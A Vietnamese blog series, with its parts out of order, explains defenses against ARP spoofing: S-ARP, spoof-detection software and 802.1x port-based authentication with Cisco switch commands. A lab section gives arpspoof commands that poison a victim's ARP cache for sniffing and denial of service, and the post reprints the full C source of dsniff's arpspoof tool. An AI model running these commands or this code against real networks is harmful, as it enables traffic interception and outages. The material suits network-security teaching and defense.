Giao thức S-ARP [7] được xây dựng dựa trên nền tảng của ARP nên nó có mọi đặc điểm kĩ thuật của ARP và có bổ sung thêm một header vào sau gói tin ARP gốc. Bằng cách này, các bản tin S-ARP có thể được xử lí bởi các host không chạy S-ARP. Các host có chạy S-ARP sẽ không chấp nhận xử lí bất kì gói tin ARP nào không được chứng thực chỉ trừ những gói tin xuất phát từ các host có trong một danh sách định trước của nó (điều đó cũng có nghĩa là các host này cũng đã được chứng thực rồi). Tuy các host chạy ARP truyền thống vẫn có thể xử lí gói tin S-ARP nhưng một mạng LAN bao gồm các host chạy ARP lẫn S-ARP được khuyên dùng là không nên triển khai bởi vì các host chạy ARP truyền thống vẫn có thể bị tấn công.

3.3.1.Tổng quan về giao thức:
Giao thức S-ARP chỉ đơn thuần cung cấp chứng thực message chứ không tham gia vào việc bảo mật các thông tin chứa trong message. S-ARP sử dụng mã hoá không đối xứng. Mỗi host trong mạng LAN được nhận biết với một ánh xạ tương ứng giữa địa chỉ IP của nó và một cặp khoá chung/khoá riêng. Một chứng thực đơn giản có thể ràng buộc giữa địa chỉ IP và khoá chung. Bên cạnh khoá chung của host thì message cần chứng thực phải chứa địa chỉ IP và địa chỉ MAC của một host đóng vai trò cung cấp khoá AKD (Authoriative Key Distributor).

Để tránh bị tấn công replay, có nghĩa là cần có một mốc thời gian chung để đánh giá thời gian tồn tại hợp lệ của một reply message, AKD sẽ cung cấp một giá trị đồng hồ để mọi host đều phải đồng bộ hoá theo nó.
Trong S-ARP, tất cả các bản tin reply đều phải mã hoá bởi khoá riêng của người gửi. Sau đó tại nơi nhận, người nhận sẽ dùng khoá chung của người gửi để giải mã. Nếu người nhận không có khoá chung của người gửi, nó phải yêu cầu AKD cung cấp khoá chung đó.

S-ARP sử dụng thuật toán mã hoá DSA (Digital Signature Algorithm) để mã hoá.Việc lựa chọn này không bị ràng buộc và người ta có thể sử dụng bất kì một thuật toán mã hoá bất đối xứng nào.

3.3.2.Cài đặt S-ARP:
Công việc đầu tiên khi cài đặt mạng LAN có sử dụng S-ARP là việc lựa chọn ra một server làm trung tâm phân phối khoá AKD và phân phối thông qua một kênh mật khoá chung và địa chỉ MAC của nó tới tất cả các host trong mạng. Việc này cũng cần phải được làm bằng tay nếu có một host nào đó mới tham gia vào mạng lần đầu tiên. Nói cách khác, một host muốn tham gia vào một mạng LAN cần phải phát ra một cặp khoá chung/ khoá riêng và gửi bản tin yêu cầu chứng thực về AKD.

Độ chính xác của thông tin cung cấp sẽ được kiểm tra bởi người quản trị mạng và sau đó, khoá chung và địa chỉ IP của host sẽ được lưu vào cơ sở dữ liệu của AKD. Nếu một host muốn thay đổi khoá của nó; nó cần phải liên lạc với AKD yêu cầu khoá mới kèm theo việc gửi khoá cũ. Khi đó, AKD sẽ cấp khoá mới đồng thời cập nhật lại thông tin vào cơ sở dữ liệu của mình. Đồng thời khi kết nối vào mạng LAN thì một host cần đồng bộ hoá đồng hồ S-ARP của nó với đồng hồ nhận được từ AKD.

3.3.3.Định dạng bản tin:
Một bản tin S-ARP cũng tương tự như một bản tin ARP với một phần bổ sung chứng thực ở phần cuối. Phần bổ sung thêm gồm 12 byte S-ARP header và một phần dữ liệu phụ có kích thước biến đổi.
Phần S-ARP header bao gồm các thông số: chữ kí số của người gửi; nhãn thời gian; kiểu và độ dài của bản tin.

Hình 2.9: Cấu trúc bản tin S-ARP

trường magic dùng để phân biệt đây là gói tin kiểu ARP hay S-ARP. Sở dĩ phần header này có 12 byte bởi vì kích thước của một gói tin ARP chỉ là 42 byte và kích thước tối thiểu của một gói tin ethernet là 60 byte.

Trường type dùng để phân biệt năm loại bản tin S-ARP:
Bản tin chứa thông tin về ánh xạ địa chỉ được trao đổi giữa các host trong mạng LAN với nhau: chỉ có kiểu bản tin reply.
Bản tin dùng để quản lí khoá chung và bản tin đồng bộ hoá thời gian: dùng để trao đổi giữa host và AKD (request/reply).
Bản tin đồng bộ hoá thời gian (request/reply)

Trường siglen và datalen dùng để chỉ độ dài của chữ kí và độ dài của đoạn dữ liệu tương ứng. Trường timestamp dùng để chứa giá trị đồng hồ S-ARP tại thời điểm cấu trúc nên gói tin. Cuối cùng, trường chữ kí là một hàm băm SHA-1 của header ARP và S-ARP. 160 bit kết quả sẽ được mã hoá bằng thuật toán DSA.

3.3.4.Chứng thực bản tin:
Mọi host đều lưu trữ một bảng ánh xạ tương ứng giữa khoá chung và địa chỉ IP nó yêu cầu AKD trước đó. Khi một host nhận được bản tin S-ARP phúc đáp, nó sẽ tìm ánh xạ tương ứng giữa địa chỉ IP người gửi và khoá chung. Nếu khoá chung này chưa tồn tại, nó sẽ gửi yêu cầu được cung cấp khoá chung đến AKD. Trong trường hợp này, gói tin sẽ được đặt vào một hàng đợi để chờ được trả lời.

AKD sẽ gửi lại bản tin reply đã được mã hoá bởi khoá riêng của AKD với khoá chung yêu cầu và một nhãn thời gian. Dựa vào thông tin nhận được , host sẽ đồng bộ hoá lại nhãn thời gian. Nếu không có khoá cũ mà khoá chung mới nhận được lại trùng với khoá chung có trong bản cache; bản tin reply được coi là không hợp lệ và bị huỷ bỏ. Nếu khoá bị thay đổi, host sẽ cập nhật lại ánh xạ và chứng thực bản tin phúc đáp bằng khoá chung mới.

Nếu nhãn thời gian S-ARP là quá cũ, bản tin phúc đáp sẽ bị huỷ bỏ nhằm tránh kiểu tấn công replay. Do các host không được đồng bộ hoá một cách chính xác nên một khoảng thời gian chênh lệch chấp nhận được giữa nhãn thời gian và local clock trên host là 30s. Nếu không sử dụng nhãn thời gian, kẻ tấn công có thể tiến hành poisoning attack theo kịch bản sau: kẻ tấn công sẽ lưu giữ gói tin S-ARP phúc đáp từ host 192.168.0.1 với địa chỉ MAC là 01:01:01:01:01:01:01. Kẻ tấn công sẽ chờ cho đến khi máy nạn nhân hoạt động off-line và không có khả năng phúc đáp lại bản tin ARP request. Khi đó kẻ tấn công sẽ sử dung bản tin phúc đáp đã thay địa chỉ MAC trên bởi địa chỉ MAC của nó và gửi đến người yêu cầu.

3.3.5.Quản lí khoá:
Cần phân biệt hai trường hợp phân phối khoá: khi địa chỉ IP của các host trong mạng được phân phối tĩnh và khi nó được phân phối động thông qua một DHCP server.

3.3.5.1.Địa chỉ IP phân phối tĩnh:
Trong một mạng mà địa chỉ IP được phân phối tĩnh, các khoá sẽ được buộc cho các địa chỉ IP khi chúng được phát ra và sẽ được lưu trữ lại trong bảng của AKD server.

Hình 2.10: Mô hình chứng thực trong mạng cấu hình địa chỉ IP tĩnh.

Trong đó:
1. Si là khoá mật của host i.
2. Pi là khoá chung của host i.
3. Ti là thời gian local trên host i.

Quá trình trao đổi thông tin có thể được mô tả qua các bước như sau:
1. Khi có một host mới tham gia vào mạng; người quản trị mạng có nhiệm vụ cung cấp địa chỉ IP tĩnh và khoá chung cho host; đồng thời cung cấp khoá chung và địa chỉ MAC của trung tâm phân phối khoá AKD để host có thể liên lạc về sau.
2. Khi host A muốn gửi tin đến host B. Do chưa biết địa chỉ MAC của B;nó sẽ gửi đi bản tin broadcast để yêu cầu MACB .
3. Host B nhận được yêu cầu của A sẽ gửi trả lại bản tin ARP reply được mã hoá bằng mã mật của B. Bản tin này chứa địa chỉ MAC của B và thời gian local TB.
4. Do trong bảng ánh xạ của host A chưa có ánh xạ giữa địa chỉ IP của B và khoá chung của B nên nó không thể giải mã được bản tin phúc đáp của B. Do đó, nó sẽ gửi yêu cầu đến AKD; yêu cầu cho biết khoá chung PB của B. Bản tin này được mã hoá với khoá riêng của A và có chứa một số ngẫu nhiên N để phân biệt các phiên truyền.
5. AKD nhận được yêu cầu của A; sẽ dùng khoá chung của A để giải mã bản tin. Sau đó nó sẽ gửi trả lại A bản tin được mã hoá bởi khoá chung AKD. Nội dung bản tin này bao gồm khoá chung của B; số N và thời gian local TAKD.
6. Host A sau khi nhận bản tin reply của AKD sẽ dùng khoá chung PAKD để giải mã. Sau đó A dùng khoá chung của B để giải mã bản tin phúc đáp của B. Nó sẽ kiểm tra xem bản tin reply của B đã hết hạn chưa bằng cách kiểm tra khoảng thời gian chênh lệch TAKD-TB có lớn hơn khoảng thời gian cho phép hay không. Nếu có, host A coi như bản tin phúc đáp của B là giả mạo và chấm dứt việc trao đổi với B. Nếu không; nó sẽ cập nhật ánh xạ giữa khoá chung và địa chỉ IP của B vào bảng lưu trữ của mình và dùng địa chỉ MAC của B để trao đổi với B.

Chú ý rằng kẻ tấn công không thể tạo ra được một khoá riêng nào khác ngoài chính khoá riêng của nó bởi vì việc cấp phát khoá chung là do AKD đảm nhiệm. Tuy nhiên, kẻ tấn công có thể phúc đáp lại bản tin ARP-request với địa chỉ MAC của một host khác hoặc một host nào đó không tồn tại. Khi đó máy của nạn nhân bị giả mạo sẽ phải nhận hai luồng dữ liệu: một luồng dữ liệu hợp lệ từ các máy khác gửi đến và hai là luồng dữ liệu được gửi gián tiếp đến máy của kẻ tấn công. Nếu luồng dữ liệu thứ hai này mà lớn thì host có thể không còn hoạt động được : kiểu tấn công DoS.

3.3.5.2.Địa chỉ IP phân phối động:
Trong một mạng có cài đặt S-ARP mà tồn tại một DHCP server cung cấp tự động địa chỉ IP cho các host gắn vào trong mạng thì không thể buộc các khoá với địa chỉ IP ngay từ đầu được. Việc gắn khoá với địa chỉ IP cũng cần phải tiến hành một cách tự động khi một host được gán một địa chỉ IP mới và do đó yêu cầu DHCP server cần phải liên lạc với S-ARP server trước khi có thể cấp địa chỉ IP cho một host nào đó.

Hình 2.11: Mô hình chứng thực trong mạng cấu hình IP động

Quá trình cấp địa chỉ IP động có thể được mô tả như sau:
1. AKD cung cấp cho host H khoá PH và trong bảng lưu trữ của AKD chỉ lưu ánh xạ khoá PH với một địa chỉ IP rỗng.
2. Host H khi tham gia vào mạng sẽ gửi yêu cầu đến DHCP server để yêu cầu địa chỉ IP. Bản tin này còn chứa khoá chung PH của H đã được mã hoá bởi khoá mật của nó.
3. DHCP server sau khi nhận được yêu cầu của H; nó sẽ cấp cho H một địa chỉ IP là IPH đồng thời gửi yêu cầu chứng thực tới AKD.
4. AKD sẽ kiểm tra khoá chung PH có giống với khoá chung PH trong bảng lưu trữ của nó không. Nếu không sẽ gửi lại NACK cho DHCP server và DHCP server sẽ không cấp IP cho H. Nếu hai khoá trùng nhau, AKD sẽ trả lại bản tin ACK và cập nhật ánh xạ địa chỉ IP-khoá PH vào bảng lưu trữ của mình.
5. DHCP server gửi lại địa chỉ IP cho H.

Cần chú ý là mỗi khi S-DHCP giải phóng một host, nó cần phải thông báo cho AKD biết để xoá ánh xạ của host đó đi.

3.4.Sử dụng phần mềm phát hiện giả mạo ARP:
Trong trường hợp mạng chỉ gồm các thiết bị vật lí lớp 1: bản tin ARP giả mạo sẽ được gửi broadcast và mọi host trên mạng đều nhận được bản tin giả mạo này. Trước hết, ta sẽ tạo một cơ sở dữ liệu lưu toàn bộ ánh xạ IP-MAC của tất cả các host trong mạng. Sau đó sẽ dùng một phần mềm để bắt gói tin và phát hiện xem ánh xạ IP-MAC nguồn trong gói tin có tồn tại trong bảng hay không. Nếu không tức là có sự giả mạo ARP. Thông tin này có thể được ghi lại hoặc được email cho người quản trị biết.

Việc dùng phần mềm phát hiện giả mạo này cũng không khác việc cấu hình static arp là mấy. Tuy nhiên việc dùng phần mềm sẽ làm giảm đi công sức của người quản trị: khi có một thiết bị mới tham gia vào mạng thì chỉ cập nhật ánh xạ một lần vào cơ sở dữ liệu của phần mềm mà thôi.

Nếu trong mạng có thiết bị mạng lớp 2 như switch; bản tin ARP reply giả mạo có thể không cần gửi broadcast mà chỉ cần gửi unicast đến máy nạn nhân và việc dùng phần mềm phát hiện trong trường hợp này sẽ không còn tác dụng.
4.Thí nghiệm thực tế:
Sơ đồ thí nghiệm và cấu hình thiết bị:
Ba PC; một của kẻ tấn công và một của nạn nhân; trên máy của kẻ tấn công cài đặt phần mềm giả mạo arpspoof
Một switch Catalysh IOS 12.0.

Hình 2.12: Sơ đồ thí nghiệm arpspoof

Cách sử dụng arpspoof:
arpspoof [-R|-r] [-i interface] [-S SourceMAC] [-D DestMAC] [-s SourceIP] [-d DestIP]
trong đó:
[-R|-r] : bản tin gửi đi là bản tin ARP request hay bản tin reply.
[-i interface]: giao diện vật lí dùng để gửi đi bản tin.
[-S SourceMAC]: địa chỉ MAC nguồn của gói tin ARP.
[-D DestMAC] : địa chỉ MAC đích.
[-s SourceIP] : địa chỉ IP nguồn
[-d DestIP] : địa chỉ IP đích.
Các bước tiến hành:
• Bước 1: Kẻ tấn công trên PC A dùng phần mềm arpspoof gửi đi bản tin giả mạo địa chỉ MAC của PC C là địa chỉ broadcast lớp 2 tới PC B.
Câu lệnh:
arpspoof –r –S ff:ff:ff:ff:ff:ff –s 192.168.1.252 –D 00:08:0d:43:01:d8 –d
192.168.1.173.
Gói tin giả mạo bắt được:

Hình 2.13: Gói tin giả mạo ARP trong lần tấn công 1
Kiểm tra bảng ánh xạ arp cache của PC B :

Hình 2.14: Bảng ánh xạ ARP trên máy nạn nhân

• Bước 2: Bất kì thông tin nào từ B gửi đến C sẽ đều bị gửi ra toàn mạng. Ví dụ: từ B ping 192.168.1.252. Dùng ethereal trên PC A để bắt gói tin này.

Hình 2.15: Gói tin ICMP bị nghe lén

• Bước 3: Tấn công DoS: giả mạo địa chỉ MAC của PC C là địa chỉ không tồn tại 4:4:4:4:4:4.
Câu lệnh:
arpspoof –r –S 4:4:4:4:4:4 –s 192.168.1.252 –D 00:08:0d:43:01:d8 –d
192.168.1.173.

Gói tin giả mạo bắt được:

Hình 2.16: Gói tin giả mạo ARP trong lần tấn công 2

• Bước 4: Để kiểm tra hậu quả của kiểu tấn công này. Ta chỉ việc ping đến PC C từ PC B. Kết quả là:

Hình 2.17: Hậu quả của kiểu tấn công DoS.

5.Nhận xét:
Với các biện pháp phòng chống ở trên ta có thể rút ra kết luận: không có một phương pháp nào có thể loại bỏ hoàn toàn kiểu tấn công giả dạng ARP. Mỗi phương pháp đều có một nhược điểm riêng.

Phương pháp chứng thực kiểu port-base là một phương pháp phòng chống khá hiệu quả không những cho trường hợp giả mạo ARP mà cho các trường hợp giả mạo nói chung. Tuy nhiên một khi người được cấp quyền cố tình tiến hành kiểu tấn công giả mạo thì phương pháp này sẽ không còn tác dụng.

Phương pháp cấu hình địa chỉ tĩnh hoặc dùng phần mềm phát hiện gói ARP giả mạo thực ra chỉ nên áp dụng cho các mạng nhỏ và trong thực tế có lẽ không ai dùng cả vì hầu hết các mạng đều thực hiện việc cấp IP động. Do đó việc duy trì bảng ánh xạ tĩnh là không thực tế.

Phương pháp sử dụng S-ARP có thể phòng chống được phần lớn các kiểu tấn công ARP nhưng vẫn bị kẻ tấn công lợi dụng tấn công DoS. Thêm vào đó việc triển khai S-ARP là khá phức tạp.

6.Code: (trích từ tool dsniff; tool arpspoof viết lâu nên vứt béng code đi đâu rồi é)
#include “config.h”

#include <sys/types.h>
#include <sys/param.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>

#include “version.h”

extern char *ether_ntoa(struct ether_addr *);
extern int arp_cache_lookup(in_addr_t, struct ether_addr *);

static struct libnet_link_int *llif;
static struct ether_addr spoof_mac, target_mac;
static in_addr_t spoof_ip, target_ip;
static char *intf;

void
usage(void)
{
fprintf(stderr, “Version: ” VERSION “\n”
“Usage: arpspoof [-i interface] [-t target] host\n”);
exit(1);
}

int
arp_send(struct libnet_link_int *llif, char *dev,
int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
char ebuf[128];
u_char pkt[60];

if (sha == NULL &&
(sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {
return (-1);
}
if (spa == 0) {
if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
return (-1);
spa = htonl(spa); /* XXX */
}
if (tha == NULL)
tha = “\xff\xff\xff\xff\xff\xff”;

libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);

libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
op, sha, (u_char *)&spa, tha, (u_char *)&tpa,
NULL, 0, pkt + ETH_H);

fprintf(stderr, “%s “,
ether_ntoa((struct ether_addr *)sha));

if (op == ARPOP_REQUEST) {
fprintf(stderr, “%s 0806 42: arp who-has %s tell %s\n”,
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}
else {
fprintf(stderr, “%s 0806 42: arp reply %s is-at “,
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, “%s\n”,
ether_ntoa((struct ether_addr *)sha));
}
return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
}

#ifdef __linux__
int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);

i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

close(fd);

return (i == 0);
}
#endif

int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;

do {
if (arp_cache_lookup(ip, mac) == 0)
return (1);
#ifdef __linux__
/* XXX – force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);
#endif
sleep(1);
}
while (i++ < 3);

return (0);
}

void
cleanup(int sig)
{
int i;

if (arp_find(spoof_ip, &spoof_mac)) {
for (i = 0; i < 3; i++) {
/* XXX – on BSD, requires ETHERSPOOF kernel. */
arp_send(llif, intf, ARPOP_REPLY,
(u_char *)&spoof_mac, spoof_ip,
(target_ip ? (u_char *)&target_mac : NULL),
target_ip);
sleep(1);
}
}
exit(0);
}

int
main(int argc, char *argv[])
{
int c;
char ebuf[PCAP_ERRBUF_SIZE];

intf = NULL;
spoof_ip = target_ip = 0;

while ((c = getopt(argc, argv, “i:t:h?V”)) != -1) {
switch (c) {
case ‘i’:
intf = optarg;
break;
case ‘t’:
if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;

if (argc != 1)
usage();

if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
usage();

if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, “%s”, ebuf);

if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
errx(1, “%s”, ebuf);

if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, “couldn’t arp for host %s”,
libnet_host_lookup(target_ip, 0));

signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);

for (; {
arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,
(target_ip ? (u_char *)&target_mac : NULL),
target_ip);
sleep(2);
}
/* NOTREACHED */

exit(0);
}

Nguồn sưu tầm

Kết thúc series bài viết về ARP như sau

Tháng Chín 17, 2009 Để lại phản hồi

http://vnexpress.net/GL/Vi-tinh/Hacker-Virus/2008/06/3BA033E2/

http://vnexpress.net/GL/Vi-tinh/Hacker-Virus/2007/12/3B9FDC84/

“Từ một máy tính nhiễm virus, Dashfer gửi gói tin theo giao thức ARP (giao thức phân giải địa chỉ) tới tất cả các PC khác trong cùng mạng, mạo danh là gateway của hệ thống”

Dòng virus W32.Dashfer này khi chui được vào một PC sẽ gửi broadcast gói tin theo giao thức ARP (giao thức phân giải địa chỉ) tới tất cả các máy tính khác trong cùng mạng để mạo danh là Gateway của hệ thống. Các kết nối ra Internet của tất cả các máy tính trong mạng lúc này sẽ bị lừa đi qua gateway giả mạo trước, rồi sau đó mới tới gateway thật. Bằng cách này, mã độc sẽ kiểm soát được toàn bộ quá trình trao đổi dữ liệu và chèn thêm iframe có chứa mã độc vào nội dung các trang web trước khi chúng được trả về cho máy tính của người sử dụng

By Alexbtp – Anderson_neo – Viet Matrix Revolutions

Cách phòng chống tấn công qua ARP

Tháng Chín 17, 2009 Để lại phản hồi

Việc phòng chống kiểu tấn công gửi bản tin ARP giả mạo nói riêng và các bản tin giả mạo khác nói chung có thể được tiếp cận theo nhiều hướng: hướng thứ nhất là làm cách nào đó đảm bảo rằng người dùng được cấp quyền tham gia vào mạng là những người đáng tin cậy (có thể coi hướng tiếp cận này là kiểu chứng thực hướng người dùng) hoặc cấp quyền cho một số hạn chế người dùng tham gia vào mạng.Ví dụ như chứng thực kiểu port-based dựa vào chuẩn 802.1x; cấu hình static ARP. Hướng tiếp cận thứ hai là cải tiến các giao thức lớp 2; thêm vào các giao thức đó các thông tin chứng thực. Ví dụ như việc sử dụng giao thức S-ARP. Hướng tiếp cận thứ ba là sử dụng phần mềm phát hiện gói tin giả mạo.

3.1.Chứng thực kiểu port-based (chuẩn 802.1x):
3.1.1.Giới thiệu chung về chuẩn IEEE 802.1x:
Chuẩn 802.1x [19] ra đời nhằm xây dựng một mô hình chứng thực kiểu client-server nhằm hạn chế người dùng tham gia vào mạng LAN thông qua các cổng vật lí có thể truy cập được.

Mô hình triển khai của 802.1x:

Hình 2.2: Sơ đồ chứng thực 802.1x

Viet Matrix Revolutions

Viet Matrix Revolutions

Chức năng của từng khối trong mô hình trên:
Client: đây có thể là máy trạm hoặc các thiết bị có nhu cầu được chứng thực để có đủ thẩm quyền tham gia vào mạng.
Authenticator (switch): có nhiệm vụ trung chuyển các thông tin chứng thực qua lại giữa client và server dùng để chứng thực.
Authentication server: dựa vào thông tin client gửi đến để ra quyết định xem client có đủ thẩm quyền để tham gia vào mạng hay không.

Authenticator và authentication server có thể được tích hợp chung trên một thiết bị nhưng để tránh trường hợp client tiếp xúc trực tiếp và có thể có các hành động làm tổn hại server; authentication server thường được nối thông qua một switch và server này tồn tại trong suốt với client.

Quá trình trao đổi bản tin giữa authenticator và authentication server được thực hiện thông qua giao thức chứng thực EAP (Extensible Authentication Protocol) dùng cho kết nối điểm điểm còn quá trình trao đổi bản tin giữa authenticator và client được thực hiện thông qua giao thức chứng thực EAPOL (EAP over LAN).

Một điểm cần chú ý : trước khi client được chứng thực, chỉ có một số giao thức cơ bản được dùng để trao đổi qua lại giữa nó và switch: giao thức STP; CDP… Chỉ sau khi client được chứng thực; các frame dữ liệu khác mới được trao đổi một cách bình thường.

3.1.2.Giao thức chứng thực mở rộng điểm điểm EAP_PPP:
Quá trình chứng thực được biểu diễn qua sơ đồ:

Hình 2.3: Sơ đồ chứng thực EAP_PPP

Viet Matrix Revolutions

Viet Matrix Revolutions

Sau khi kết nối vật lí được thiết lập; authenticator sẽ gửi một hoặc một vài bản tin request đến client. Các bản tin request này có một vài dạng như: yêu cầu ID của user; chứa các thông tin mã hóa phục vụ chứng thực như One-time-password; mã hóa MD-5…Client sau khi nhận được các request này, căn cứ vào thông tin nhận được sẽ phải tính toán ra một số trường tương ứng với thông tin nhận được và gửi trả bản tin phúc đáp cho authenticator.

Các thông tin được tính toán này còn tùy thuộc vào từng kiểu request của authenticator. Sau khi nhận được bản tin phúc đáp, authenticator kiểm tra xem tính toán đó có đúng không. Nếu đúng, nó sẽ gửi lại bản tin success cho client và client được chứng thực còn ngược lại client sẽ nhận được bản tin failure và không được cấp quyền tham gia vào mạng.

Cấu trúc chung của một bản tin EAP:

Hình 2.4: Cấu trúc bản tin EAP

Viet Matrix Revolutions

Viet Matrix Revolutions

trong đó:
Code chỉ ra kiểu của bản tin EAP:
1.Request 2.Response 3.Success 4.Failure
Identifier:độ dài một byte; dùng để match giữa response và request và do đó một hệ thống chức thực kiểu này tại một thời điểm chỉ có thể cấp quyền cho tối đa 256 client.
Length: độ dài 2 byte; chỉ ra độ lớn của cả bản tin EAP.
Data: có độ dài là không hoặc nhiều byte tùy thuộc vào kiểu bản tin EAP.

Các kiểu bản tin request/response: có thêm một trường type để chỉ ra kiểu bản tin request/response sẽ được dùng để trao đổi và thông số này được thống nhất trong bản tin request và response trong cùng một phiên chứng thực; có 6 kiểu bản tin request/response :
1. Identity: được authenticator gửi để yêu cầu ID của client; trong trường hợp này thì thường ID sẽ được người dùng nhập vào.
2. Notification: được authenticator gửi cho client một bản tin được hiển thị; ví dụ thông báo cho client biết password đã hết hiệu lực.
3. Nak: đây chỉ có thể là bản tin Response. Nó được gửi để đáp trả lại request có kiểu chứng thực mong muốn không được chấp nhận (ví dụ client muốn được chứng thực theo MD5 trong khi authenticator lại chỉ chấp nhận chứng thực theo One-Time Password) .
4. MD5-challenge.
5. One-Time Password.
6. Generic token Card

Trong đó các kiểu 4;5;6 đều là các kiểu chứng thực có thể được lựa chọn. Tư tưởng chung của các kiểu chứng thực này là chứng thực dựa vào mã mật [16]. Client và authenticator sẽ chia sẻ chung một khoá mật. Để chứng thực người dùng, authenticator sẽ gửi cho client một bản tin trong đó có chứa một số ngẫu nhiên dùng để xác định phiên truyền (bản tin này được gọi là challenge).

Hình 2.5: Mô hình chứng thực sử dụng mã mật

Viet Matrix Revolutions

Viet Matrix Revolutions

Sau khi client nhận được bản tin; nó phải dùng thuật toán băm một chiều tính toán ra kết quả dựa vào số ngẫu nhiên và mã mật mà nó đang giữ. Kết quả này sẽ được gửi lại cho authenticator. Đồng thời authenticator cũng chạy thuật toán trên và sẽ dùng kết quả thu được so sánh với kết quả do client gửi đến. Nếu hai kết quả trùng khớp, client được chứng thực và ngược lại.

3.1.3.Giao thức chứng thực mở rộng EAP trong mạng LAN:
Tư tưởng cơ bản của giao thức EAPOL cũng tương tự như giao thức EAP-PPP [17] tuy nhiên khi chứng thực cho các host trong một mạng LAN thì giao thức EAPOL có khác biệt đôi chút: EAPOL cần có một đối tượng trung gian authenticator dùng để trung chuyển thông tin chứng thực giữa client và authentication server.

Hình 2.6: Mô hình chứng thực EAPOL

Viet Matrix Revolutions

Viet Matrix Revolutions

Quá trình trao đổi bắt đầu khi một máy trạm thiết lập kết nối vật lí tới authenticator (trong trường hợp này là một switch). Switch sẽ gửi yêu cầu UserId của client. Sau khi nhận được phúc đáp của client; switch phải chuyển thông tin này sang định dạng EAP gửi đến authentication server. Server gửi lại bản tin yêu cầu Access-Challenge. Bản tin này thường cũng chứa thông tin mã hoá MD5 hoặc OTP để yêu cầu client tính toán và gửi lại kết quả.

Dựa trên kết quả tính toán do client gửi đến, authentication server sẽ quyết định xem client có phải hợp lệ hay không. Khi client không muốn tham gia vào mạng nữa; nó phải gửi lại bản tin EAPOL-off đến switch và switch sẽ coi như cổng của host nối với nó là chưa được chứng thực.

Việc host có thể tham gia vào mạng hay không hoàn toàn tuỳ thuộc vào trạng thái của port trên switch mà nó kết nối tới. Cổng trên switch này có một trong ba trạng thái:
Authorized: cổng đã được chứng thực rồi: trong trường hợp này, khi client nối vào một cổng không hỗ trợ 802.1x; nó bắt đầu gửi đi EAPOL-start tuy nhiên sẽ không nhận được hồi âm từ switch. Sau một khoảng thời gian tiếp tục gửi bản tin EAPOL-start đi mà vẫn không thấy hồi âm thì host sẽ mặc định coi mình đã được chứng thực rồi.
Unauthorized: cổng không thể được cấp quyền: switch sẽ bỏ qua mọi nỗ lực thiết lập quyền kết nối của client.
Auto: khi thiết lập chế độ này, cổng sẽ tạm thời ở trong trạng thái unauthorized tuy nhiên vẫn cho các bản tin EAPOL-start đi qua và nếu client được chứng thực; cổng này sẽ chuyển sang trạng thái authorized còn ngược lại cổng vẫn ở trong trạng thái unauthorized tuy nhiên việc yêu cầu chứng thực có thể được thực hiện lại.

Chú ý: nếu kết nối giữa host và switch bị down hoặc host gửi EAPOL-off đến cổng của switch thì cổng này sẽ được chuyển sang trạng thái unauthorized.

Cấu trúc các bản tin dùng để trao đổi: Một EAPOL frame cho mạng Ethernet có cấu trúc như sau:

Hình 2.7: Cấu trúc bản tin EAPOL

Viet Matrix Revolutions

Viet Matrix Revolutions

Trong đó có một số trường đáng quan tâm:
Packet Type: có độ dài 1 byte, dùng để xác định kiểu bản tin được trao đổi: có 5 kiểu bản tin :
1. EAP-packet
2. EAPOL-Start
3. EAPOL-Logoff
4. EAPOL-Key
5. EAPOL-Encapsulated-ASF-Alert
Packet Body: tuỳ nội dung từng packet type ; nếu packet type là EAPOL-Key: chứa khoá dùng để xác thực thì Packet body sẽ chứa các mô tả khoá.

3.1.4.Cấu hình chứng thực kiểu port-based:
Sơ đồ: mô hình triển khai 802.1x.
Yêu cầu thiết bị: cả máy trạm và switch đều hỗ trợ chuẩn 802.1x sử dụng giao thức lớp 2 EAPOL

Các lệnh cấu hình:
Cấu hình trên switch về phía máy trạm:
Switch(config)#aaa new-model :câu lệnh cho phép kích hoạt tính năng chứng thực trên switch.
Switch(config)#aaa authentication dot1x {default|list-name} method1
[method2…] :câu lệnh dùng để định ra một loạt các phương thức có thể
dùng để chứng thực; các phương thức có thể là:
1. group{group-name|radius|tacacs+ }: dùng một hoặc một nhóm các server dùng để chứng thực.
2. enable: cho phép dùng password để chứng thực người dùng.
3. line: password trong các trường hợp 802.1x được sử dụng cho switch line (console hoặc vty_virtual terminal).
4. local: username và password được định nghĩa ngay trên switch.
5. none: không cần chứng thực.
Switch(config)# dot1x system-auth-control: câu lệnh cho phép sử dụng chuẩn 802.1x trên switch.
Switch(config-if)# dot1x port-control {force-authorized|force-unauthorized|auto}: đặt một cổng vào một trong ba chế độ

Cấu hình trên switch về phía server chứng thực (RADIUS server hoặc TACACS+ server):
Switch(config)#radius-server host {hostname |ip-address}[ key string ]
Switch(config)#tacacs -server host {hostname |ip-address}[ key string ]
Trong đó key là khoá mật được chia sẻ chung giữa switch và server chứng thực.

3.2.Static ARP:
